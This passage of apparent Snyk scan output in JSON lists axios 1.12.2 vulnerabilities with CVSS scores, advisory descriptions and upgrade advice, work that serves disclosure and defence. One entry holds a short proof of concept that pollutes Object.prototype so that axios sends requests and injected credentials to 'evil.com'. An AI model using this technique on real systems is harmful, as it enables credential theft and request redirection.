"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 8.1,
"modificationTime": "2026-08-07T05:46:26.651679Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:H/SI:H/SA:L",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-14T14:53:40.532593Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-14T14:53:40.532593Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N",
"assigner": "NVD",
"severity": "medium",
"baseScore": 4.8,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T01:19:10.977955Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 8.1,
"cvssVersion": "3.1",
"modificationTime": "2026-08-07T05:46:26.651679Z"
}
],
"description": "## Overview\n[axios](https://www.npmjs.com/package/axios) is a promise-based HTTP client for the browser and Node.js.\n\nAffected versions of this package are vulnerable to HTTP Response Splitting via the `parseTokens` header processing path in `lib/core/AxiosHeaders.js`. An attacker can smuggle HTTP requests or inject arbitrary headers by supplying a header value containing `\\r\\n`, which Axios merges into an outbound request. Under specific conditions, this can be used to exfiltrate cloud metadata tokens, pivot into internal services, or poison downstream HTTP traffic.\r\n\r\n**Notes**\r\n\r\n- Exploitation requires prior successful prototype pollution in a third-party dependency, enabling attacker-controlled header data to flow into Axios via configuration merging or `AxiosHeaders.set(...)`.\r\n- IMDSv2 token exfiltration (described in the original vulnerability report as another step in the exploit chain following the smuggling of a `PUT` request) further depends on the application running in an AWS environment with instance metadata access enabled, and on the Axios process having network access to the metadata endpoint.\r\n- A possible but uncommon vector mentioned in the maintainers' advisory relies on the use of a non standard Axios transport mechanism, e.g. a custom adapter, to bypass Node.js header validation, thereby permitting malformed or injected header values to be transmitted without rejection. In most cases, this vector is blocked by Node.JS's built in header validation.\n## Remediation\nUpgrade `axios` to version 0.31.0, 1.15.0 or higher.\n## References\n- [GitHub Commit](https://github.com/axios/axios/commit/363185461b90b1b78845dc8a99a1f103d9b122a1)\n- [GitHub Commit (v1 backport)](https://github.com/axios/axios/pull/10688/changes/24c45391b6529404fa59e8c2e5089098d58ee902)\n- [GitHub PR](https://github.com/axios/axios/pull/10660)\n- [GitHub Release](https://github.com/axios/axios/releases/tag/v1.15.0)\n- [Maintainer's Advisory](https://github.com/axios/axios/security/advisories/GHSA-fvcv-3m26-pcqx)\n",
"epssDetails": {
"percentile": "0.80590",
"probability": "0.02024",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-40175"
],
"CWE": [
"CWE-113"
],
"GHSA": [
"GHSA-fvcv-3m26-pcqx"
]
},
"packageName": "axios",
"proprietary": false,
"creationTime": "2026-04-10T20:57:02.054109Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-04-10T20:08:52Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-04-10T20:57:02.293998Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-14T14:53:40.532593Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"rag-builder@1.0.0",
"axios@1.12.2"
],
"upgradePath": [
false,
"axios@1.15.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "axios",
"version": "1.12.2"
},
{
"id": "SNYK-JS-AXIOS-16298058",
"title": "HTTP Response Splitting",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N/E:P",
"credit": [
"raulvdv"
],
"semver": {
"vulnerable": [
"<0.31.1",
">=1.0.0 <1.15.1"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"0.31.1",
"1.15.1"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "critical",
"cvssScore": 9.1,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "axios",
"references": [
{
"url": "https://github.com/axios/axios/commit/37cf18f2e2c10171ddd851c8e46938d48cc35948",
"title": "GitHub Commit"
},
{
"url": "https://github.com/axios/axios/commit/e3ddeb40f6a142a234925341151e2ca631a6de64",
"title": "GitHub Commit"
},
{
"url": "https://github.com/axios/axios/security/advisories/GHSA-6chq-wfr3-2hj9",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"cvssV3BaseScore": 7.4,
"modificationTime": "2026-05-01T06:31:08.401056Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "critical",
"baseScore": 9.1,
"cvssVersion": "4.0",
"modificationTime": "2026-09-24T14:10:20.157225Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.4,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T14:10:20.157225Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.4,
"cvssVersion": "3.1",
"modificationTime": "2026-05-01T06:31:08.401056Z"
}
],
"description": "## Overview\n[axios](https://www.npmjs.com/package/axios) is a promise-based HTTP client for the browser and Node.js.\n\nAffected versions of this package are vulnerable to HTTP Response Splitting via the `isFormData` and `getHeaders` handling in the HTTP request path. An attacker can inject arbitrary request headers by supplying a prototype-polluted object that is mistaken for `FormData`, causing `getHeaders()` output to be merged into an outgoing request.\r\nThis lets attacker-controlled values, such as `authorization` or custom headers, ride along with requests made by applications that pass untrusted objects into Axios, exposing credentials or altering server-side request handling.\r\n\r\n**Notes**\r\n- The gadget only matters when the request body is a non-`FormData` payload that Axios still routes through the Node HTTP adapter’s form-data detection path; browser-side usage is not implicated by this code path.\r\n- The advisory’s prototype-pollution prerequisite can come from any dependency in the application’s tree, not necessarily from Axios itself, so a separate merge/parser bug elsewhere can be enough to trigger the header injection.\n## Remediation\nUpgrade `axios` to version 0.31.1, 1.15.1 or higher.\n## References\n- [GitHub Commit](https://github.com/axios/axios/commit/37cf18f2e2c10171ddd851c8e46938d48cc35948)\n- [GitHub Commit](https://github.com/axios/axios/commit/e3ddeb40f6a142a234925341151e2ca631a6de64)\n- [Maintainer's Advisory](https://github.com/axios/axios/security/advisories/GHSA-6chq-wfr3-2hj9)\n",
"epssDetails": {
"percentile": "0.29229",
"probability": "0.00381",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-42035"
],
"CWE": [
"CWE-113"
],
"GHSA": [
"GHSA-6chq-wfr3-2hj9"
]
},
"packageName": "axios",
"proprietary": false,
"creationTime": "2026-04-26T08:14:36.367251Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-04-24T19:20:20Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-04-26T08:14:36.555529Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:10:20.157225Z",
"socialTrendAlert": false,
"severityWithCritical": "critical",
"from": [
"rag-builder@1.0.0",
"axios@1.12.2"
],
"upgradePath": [
false,
"axios@1.15.1"
],
"isUpgradable": true,
"isPatchable": false,
"name": "axios",
"version": "1.12.2"
},
{
"id": "SNYK-JS-AXIOS-16299904",
"title": "Prototype Pollution",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"credit": [
"dolevmiz1"
],
"semver": {
"vulnerable": [
"<0.31.1",
">=1.0.0 <1.15.1"
]
},
"exploit": "Not Defined",
"fixedIn": [
"0.31.1",
"1.15.1"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "critical",
"cvssScore": 9.1,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "axios",
"references": [
{
"url": "https://github.com/axios/axios/commit/17b90d0be692f1704e4623731163285b0480520f",
"title": "GitHub Commit"
},
{
"url": "https://github.com/axios/axios/commit/b52187f4571b6b8663fed5904e3082ab30660364",
"title": "GitHub Commit"
},
{
"url": "https://github.com/axios/axios/security/advisories/GHSA-pf86-5x62-jrwf",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"cvssV3BaseScore": 7.4,
"modificationTime": "2026-05-03T06:32:07.064243Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "critical",
"baseScore": 9.1,
"cvssVersion": "4.0",
"modificationTime": "2026-09-24T14:10:23.220408Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.4,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T14:10:23.220408Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.4,
"cvssVersion": "3.1",
"modificationTime": "2026-05-03T06:32:07.064243Z"
}
],
"description": "## Overview\n[axios](https://www.npmjs.com/package/axios) is a promise-based HTTP client for the browser and Node.js.\n\nAffected versions of this package are vulnerable to Prototype Pollution through the `mergeConfig` code path in the request configuration handling. An attacker can influence request behavior by supplying a crafted config object with inherited properties such as `transport`, `env`, `formSerializer`, or transform callbacks on `Object.prototype`, causing Axios to use attacker-controlled settings during request dispatch and form serialization. This can redirect requests, alter serialization and response handling, and break application logic that relies on trusted per-request configuration.\n\n## Details\n\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `__proto__`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\n\nThere are two main ways in which the pollution of prototypes occurs:\n\n- Unsafe `Object` recursive merge\n \n- Property definition by path\n \n\n### Unsafe Object recursive merge\n\nThe logic of a vulnerable recursive merge function follows the following high-level model:\n```\nmerge (target, source)\n\n foreach property of source\n\n if property exists and is an object on both the target and the source\n\n merge(target[property], source[property])\n\n else\n\n target[property] = source[property]\n```\n
\n\nWhen the source object contains a property named `__proto__` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\n\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\n\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\n\n### Property definition by path\n\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\n\nIf the attacker can control the value of “path”, they can set this value to `__proto__.myValue`. `myValue` is then assigned to the prototype of the class of the object.\n\n## Types of attacks\n\nThere are a few methods by which Prototype Pollution can be manipulated:\n\n| Type |Origin |Short description |\n|--|--|--|\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\n\n## Affected environments\n\nThe following environments are susceptible to a Prototype Pollution attack:\n\n- Application server\n \n- Web server\n\n- Web browser\n \n\n## How to prevent\n\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\n \n2. Require schema validation of JSON input.\n \n3. Avoid using unsafe recursive merge functions.\n \n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\n \n5. As a best practice use `Map` instead of `Object`.\n\n### For more information on this vulnerability type:\n\n[Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)\n\n## Remediation\nUpgrade `axios` to version 0.31.1, 1.15.1 or higher.\n## References\n- [GitHub Commit](https://github.com/axios/axios/commit/17b90d0be692f1704e4623731163285b0480520f)\n- [GitHub Commit](https://github.com/axios/axios/commit/b52187f4571b6b8663fed5904e3082ab30660364)\n- [Maintainer's Advisory](https://github.com/axios/axios/security/advisories/GHSA-pf86-5x62-jrwf)\n",
"epssDetails": {
"percentile": "0.58717",
"probability": "0.00924",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-42033"
],
"CWE": [
"CWE-1321"
],
"GHSA": [
"GHSA-pf86-5x62-jrwf"
]
},
"packageName": "axios",
"proprietary": false,
"creationTime": "2026-04-26T09:48:07.265085Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-04-24T19:21:05Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-04-26T09:48:07.478558Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:10:23.220408Z",
"socialTrendAlert": false,
"severityWithCritical": "critical",
"from": [
"rag-builder@1.0.0",
"axios@1.12.2"
],
"upgradePath": [
false,
"axios@1.15.1"
],
"isUpgradable": true,
"isPatchable": false,
"name": "axios",
"version": "1.12.2"
},
{
"id": "SNYK-JS-AXIOS-16299921",
"title": "Improperly Controlled Modification of Dynamically-Determined Object Attributes",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N/E:P",
"credit": [
"August829"
],
"semver": {
"vulnerable": [
">=1.0.0 <1.15.2"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.15.2"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.3,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "axios",
"references": [
{
"url": "https://github.com/axios/axios/commit/70302b6c9008b3d5242c9685a4c01151e53a4c74",
"title": "GitHub Commit"
},
{
"url": "https://github.com/axios/axios/security/advisories/GHSA-3w6x-2g7m-8v23",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"cvssV3BaseScore": 7.4,
"modificationTime": "2026-05-15T01:52:55.485016Z"
},
{
"assigner": "NVD",
"severity": "critical",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"cvssV3BaseScore": 9.1,
"modificationTime": "2026-04-28T01:15:13.230470Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.3,
"cvssVersion": "4.0",
"modificationTime": "2026-10-17T02:01:40.545578Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N/E:P",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-17T02:01:40.545578Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.4,
"cvssVersion": "3.1",
"modificationTime": "2026-05-15T01:52:55.485016Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"assigner": "NVD",
"severity": "critical",
"baseScore": 9.1,
"cvssVersion": "3.1",
"modificationTime": "2026-04-28T01:15:13.230470Z"
}
],
"description": "## Overview\n[axios](https://www.npmjs.com/package/axios) is a promise-based HTTP client for the browser and Node.js.\n\nAffected versions of this package are vulnerable to Improperly Controlled Modification of Dynamically-Determined Object Attributes through the `transformResponse` and request serialization paths in the defaults configuration. An attacker can influence JSON parsing and request handling by supplying a crafted object with inherited `parseReviver`, `responseType`, `transitional`, `env`, or `formSerializer` properties, causing Axios to read attacker-controlled prototype values during response parsing or form encoding. This can lead to malformed response processing, unexpected parser behavior, and application-level data corruption or denial-of-service in code that passes untrusted config objects to Axios.\n## Remediation\nUpgrade `axios` to version 1.15.2 or higher.\n## References\n- [GitHub Commit](https://github.com/axios/axios/commit/70302b6c9008b3d5242c9685a4c01151e53a4c74)\n- [Maintainer's Advisory](https://github.com/axios/axios/security/advisories/GHSA-3w6x-2g7m-8v23)\n",
"epssDetails": {
"percentile": "0.47885",
"probability": "0.00608",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-42044"
],
"CWE": [
"CWE-915"
],
"GHSA": [
"GHSA-3w6x-2g7m-8v23"
]
},
"packageName": "axios",
"proprietary": false,
"creationTime": "2026-04-26T09:59:46.630829Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-04-24T19:20:25Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-04-26T09:59:46.824443Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-17T02:01:40.545578Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"rag-builder@1.0.0",
"axios@1.12.2"
],
"upgradePath": [
false,
"axios@1.15.2"
],
"isUpgradable": true,
"isPatchable": false,
"name": "axios",
"version": "1.12.2"
},
{
"id": "SNYK-JS-AXIOS-16299923",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"fg0x0"
],
"semver": {
"vulnerable": [
"<0.31.1",
">=1.0.0 <1.15.1"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"0.31.1",
"1.15.1"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "axios",
"references": [
{
"url": "https://github.com/axios/axios/commit/85132ffba1a77609ea5d101c8a413dea7174932f",
"title": "GitHub Commit"
},
{
"url": "https://github.com/axios/axios/commit/b0c632f36a5ea2e73c9bdf3a54164a8ede925736",
"title": "GitHub Commit"
},
{
"url": "https://github.com/axios/axios/security/advisories/GHSA-62hf-57xw-28j9",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-28T01:14:59.362352Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-05-05T14:11:39.866460Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-24T14:10:23.196918Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T14:10:23.196918Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-28T01:14:59.362352Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-05-05T14:11:39.866460Z"
}
],
"description": "## Overview\n[axios](https://www.npmjs.com/package/axios) is a promise-based HTTP client for the browser and Node.js.\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion through the `toFormData` recursive serializer in `lib/helpers/toFormData.js`. An attacker can crash a process by supplying a deeply nested object as request `data` or `params`, causing unbounded recursion and a call-stack overflow during multipart/form-data or query-string serialization.\n## Remediation\nUpgrade `axios` to version 0.31.1, 1.15.1 or higher.\n## References\n- [GitHub Commit](https://github.com/axios/axios/commit/85132ffba1a77609ea5d101c8a413dea7174932f)\n- [GitHub Commit](https://github.com/axios/axios/commit/b0c632f36a5ea2e73c9bdf3a54164a8ede925736)\n- [Maintainer's Advisory](https://github.com/axios/axios/security/advisories/GHSA-62hf-57xw-28j9)\n",
"epssDetails": {
"percentile": "0.60058",
"probability": "0.00966",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-42039"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-62hf-57xw-28j9"
]
},
"packageName": "axios",
"proprietary": false,
"creationTime": "2026-04-26T10:02:27.794009Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-04-24T19:18:27Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-04-26T10:02:27.979407Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:10:23.196918Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"rag-builder@1.0.0",
"axios@1.12.2"
],
"upgradePath": [
false,
"axios@1.15.1"
],
"isUpgradable": true,
"isPatchable": false,
"name": "axios",
"version": "1.12.2"
},
{
"id": "SNYK-JS-AXIOS-16417750",
"title": "Prototype Pollution",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N/E:P",
"credit": [
"bulmax9797-sketch"
],
"semver": {
"vulnerable": [
">=1.0.0 <1.15.2"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.15.2"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "critical",
"cvssScore": 9.1,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "axios",
"references": [
{
"url": "https://github.com/axios/axios/security/advisories/GHSA-q8qp-cvcw-x6jj",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/axios/axios/commit/47915144662f2733e6c051bdcb895a8c8f0586aa",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "critical",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"cvssV3BaseScore": 9.1,
"modificationTime": "2026-05-14T01:14:53.805089Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"cvssV3BaseScore": 7.4,
"modificationTime": "2026-06-30T06:58:08.846731Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "critical",
"baseScore": 9.1,
"cvssVersion": "4.0",
"modificationTime": "2026-10-14T14:48:26.200349Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N/E:P",
"assigner": "Snyk",
"severity": "critical",
"baseScore": 9.1,
"cvssVersion": "3.1",
"modificationTime": "2026-10-14T14:48:26.200349Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"assigner": "NVD",
"severity": "critical",
"baseScore": 9.1,
"cvssVersion": "3.1",
"modificationTime": "2026-05-14T01:14:53.805089Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.4,
"cvssVersion": "3.1",
"modificationTime": "2026-06-30T06:58:08.846731Z"
}
],
"description": "## Overview\n[axios](https://www.npmjs.com/package/axios) is a promise-based HTTP client for the browser and Node.js.\n\nAffected versions of this package are vulnerable to Prototype Pollution when the `Object.prototype` has been polluted via a different exploit. The following properties in the HTTP adapter configuration may be manipulated, as they do not restrict their own property accesses with `hasOwnProperty`. An attacker can inject `Authorization` headers into the `auth` property, redirect external requests via the `baseURL` property or internal requests via the `socketPath` property, execute callbacks contained in HTTP redirects via the `beforeRedirect` property, or enable insecure HTTP parsing via the `insecureHTTPParser` property.\n## PoC\n```js\r\nconst axios = require('axios');\r\n\r\n// Prototype pollution from a vulnerable dependency in the same process\r\nObject.prototype.auth = { username: 'attacker', password: 'exfil' };\r\nObject.prototype.baseURL = 'https://evil.com';\r\n\r\nawait axios.get('/api/users');\r\n// Request is sent to: https://evil.com/api/users\r\n// With header: Authorization: Basic YXR0YWNrZXI6ZXhmaWw=\r\n// Attacker receives both the request and injected credentials\r\n```\n\n## Details\n\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `__proto__`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\n\nThere are two main ways in which the pollution of prototypes occurs:\n\n- Unsafe `Object` recursive merge\n \n- Property definition by path\n \n\n### Unsafe Object recursive merge\n\nThe logic of a vulnerable recursive merge function follows the following high-level model:\n```\nmerge (target, source)\n\n foreach property of source\n\n if property exists and is an object on both the target and the source\n\n merge(target[property], source[property])\n\n else\n\n target[property] = source[property]\n```\n
\n\nWhen the source object contains a property named `__proto__` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\n\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\n\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\n\n### Property definition by path\n\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\n\nIf the attacker can control the value of “path”, they can set this value to `__proto__.myValue`. `myValue` is then assigned to the prototype of the class of the object.\n\n## Types of attacks\n\nThere are a few methods by which Prototype Pollution can be manipulated:\n\n| Type |Origin |Short description |\n|--|--|--|\n| **Denial of service 